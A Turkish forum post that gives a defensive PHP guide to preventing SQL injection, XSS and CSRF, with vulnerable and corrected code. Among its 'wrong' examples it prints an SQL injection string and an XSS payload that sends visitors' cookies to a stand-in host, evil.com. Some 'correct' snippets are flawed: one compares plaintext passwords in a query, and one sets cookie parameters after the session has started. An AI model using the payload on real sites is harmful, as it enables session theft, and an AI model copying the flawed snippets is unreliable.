Tekil Mesaj gösterimi
Eski 23 Nisan 2026, 21:41   #1
Çevrimdışı
DEKO
DEKO - ait Kullanıcı Resmi (Avatar)
Üyelerin profil bilgilerini yalnızca kayıtlı üyeler görüntüleyebilir. Lütfen kaydol bağlantısından üye olunuz.
hayalet PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF Tam Koruma Rehberi (2026 Güncel)

PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF Tam Koruma Rehberi (2026 Güncel)




PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF
Tam Koruma Rehberi — 2026 Güncel

PHP ile web geliştiriyorsanız bu üç saldırı türünü mutlaka bilmeniz gerekiyor. Her biri gerçek sitelerden veri çalmak veya sunucu ele geçirmek için aktif olarak kullanılıyor.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SALDIRI TÜRLERİNE GENEL BAKIŞ
  • SQL Injection — Veritabanı sorgusunu manipüle eder | Hedef: Veritabanı | Risk: KRİTİK
  • XSS — Kullanıcı tarayıcısına zararlı JS enjekte eder | Hedef: Ziyaretçi | Risk: YÜKSEK
  • CSRF — Oturumu açık kullanıcı adına işlem yaptırtır | Hedef: Oturum | Risk: ORTA-YÜKSEK

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

1. SQL INJECTION KORUMASI

SQL Injection Nedir?

Saldırgan, forma girdiği özel karakterlerle SQL sorgusunu kırar ve veritabanınıza doğrudan komut çalıştırır. Tablolar silinebilir, tüm kullanıcı bilgileri çekilebilir, admin şifreleri ele geçirilebilir.

YANLIŞ — Savunmasız Kod:
Kod:
<?php
// KESİNLİKLE KULLANMAYIN — SQL Injection açığı var
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
// Saldırgan ' OR '1'='1 girerse tüm kullanıcılar listelenir!
?>
DOĞRU — PDO Prepared Statements:
Kod:
<?php
// GÜVENLİ — Parametrik sorgu (Prepared Statement)
$pdo = new PDO('mysql:host=localhost;dbname=sitem', $user, $pass, [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
]);

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
?>
DOĞRU — MySQLi ile Prepared Statement:
Kod:
<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'dbname');

$stmt = $mysqli->prepare("SELECT id, email FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
$stmt->close();
?>
Ek Önlemler:
  • Veritabanı kullanıcısına yalnızca gerekli izinleri verin (SELECT/INSERT, asla DROP/ALTER değil)
  • Hata mesajlarını production ortamında kullanıcıya göstermeyin
  • ORM (Eloquent, Doctrine) kullanıyorsanız yine de raw query yazmaktan kaçının
  • PDO bağlantısında ATTR_EMULATE_PREPARES => false zorunlu

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

2. XSS (CROSS-SITE SCRIPTING) KORUMASI

XSS Nedir?

Saldırgan yorum kutusuna veya profil alanına zararlı JavaScript kodu yazar. Sayfa bu kodu çıktılarken çalıştırır. Ziyaretçilerin çerezleri çalınabilir, oturumları ele geçirilebilir.

YANLIŞ — Doğrudan Çıktı:
Kod:
<?php
// TEHLİKELİ — kullanıcı verisi filtresiz ekrana basılıyor
echo "Merhaba " . $_GET['name'];
// Saldırgan ?name=<script>document.location='http://evil.com?c='+document.cookie</script> girer
?>
DOĞRU — htmlspecialchars() ile Kaçış:
Kod:
<?php
function xss($data): string {
    return htmlspecialchars((string)$data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

echo "Merhaba " . xss($_GET['name']);
echo "<p>" . xss($user['bio']) . "</p>";
echo "<input value='" . xss($user['city']) . "'>";
?>
DOĞRU — Content Security Policy (CSP) Header:
Kod:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self';");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: SAMEORIGIN");
header("Referrer-Policy: strict-origin-when-cross-origin");
?>
Kullanıcıdan HTML Kabul Ediyorsanız — HTMLPurifier:
Kod:
<?php
require_once 'HTMLPurifier.auto.php';
$config   = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$temiz    = $purifier->purify($_POST['yorum']);
echo $temiz;
?>
Ek Önlemler:
  • Çerezlere mutlaka HttpOnly ve Secure flag ekleyin
  • JavaScript DOM işlemlerinde innerHTML değil textContent kullanın
  • CSP başlıklarını tüm sayfalara uygulayın, sadece giriş sayfasına değil

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

3. CSRF (CROSS-SITE REQUEST FORGERY) KORUMASI

CSRF Nedir?

Kullanıcı sitenize giriş yapmış durumdayken başka bir zararlı siteyi açar. O site arka planda sizin sitenize istek gönderir. Tarayıcı oturum çerezini otomatik ekler, sunucu isteği gerçekmiş gibi işler. Şifre değiştirme, içerik silme gibi işlemler kullanıcının bilgisi olmadan yapılabilir.

DOĞRU — CSRF Token Sistemi (Tam Örnek):
Kod:
<?php
session_start();

function csrf_token(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function csrf_verify(): void {
    $token = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
        http_response_code(403);
        die('Güvenlik hatası: CSRF token geçersiz.');
    }
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Formda kullanım:
// <input type="hidden" name="csrf_token" value="<?= csrf_token() ?>">

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify(); // ilk satır olmalı
    // ... diğer işlemler
}
?>
DOĞRU — AJAX İstekleri İçin CSRF:
Kod:
// JavaScript — token meta tag'dan alınır
// <meta name="csrf-token" content="<?= csrf_token() ?>">

const token = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/islem.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token
    },
    body: JSON.stringify({ id: 5 })
});
Kod:
<?php
// PHP tarafı — header'dan token doğrula
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
    http_response_code(403);
    die(json_encode(['error' => 'CSRF token hatası']));
}
?>
DOĞRU — SameSite Cookie:
Kod:
<?php
session_start();
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BONUS: OTURUM VE ŞİFRE GÜVENLİĞİ

Güvenli Oturum Yönetimi:
Kod:
<?php
session_start();
session_regenerate_id(true); // Giriş sonrası zorunlu

$timeout = 1800; // 30 dakika
if (isset($_SESSION['son_aktivite']) && (time() - $_SESSION['son_aktivite']) > $timeout) {
    session_unset();
    session_destroy();
    header('Location: /login.php');
    exit;
}
$_SESSION['son_aktivite'] = time();
?>
Güvenli Şifre Saklama:
Kod:
<?php
// Kayıt
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);

// Doğrulama
if (password_verify($_POST['password'], $hash_from_db)) {
    if (password_needs_rehash($hash_from_db, PASSWORD_BCRYPT, ['cost' => 12])) {
        $yeni_hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
        // Veritabanını güncelle
    }
}
// ASLA: md5(), sha1(), base64_encode() ile şifre saklamayın
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HIZLI KONTROL LİSTESİ
  • ZORUNLU — Tüm DB sorgularında Prepared Statement kullanılıyor
  • ZORUNLU — Her çıktıda htmlspecialchars() uygulanıyor
  • ZORUNLU — Tüm formlarda CSRF token var
  • ZORUNLU — Çerezlerde HttpOnly + Secure + SameSite=Strict
  • ZORUNLU — Şifreler password_hash() ile saklanıyor
  • ZORUNLU — Giriş sonrası session_regenerate_id() çağrılıyor
  • ZORUNLU — PHP hata mesajları production'da kapalı
  • ÖNERİLEN — Content Security Policy header eklendi
  • ÖNERİLEN — PHP 8.2 veya üzeri kullanılıyor
  • ÖNERİLEN — OWASP ZAP veya benzeri tarayıcı ile test yapıldı

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━



Referanslar: OWASP Top 10 (2021), PHP 8.2 Docs, NIST SP 800-63b. Test ortamı: PHP 8.2 / MariaDB 10.6 / Apache 2.4.


Fallen code. Broken systems. No mercy.

Konu DEKO tarafından (23 Nisan 2026 Saat 21:43 ) değiştirilmiştir.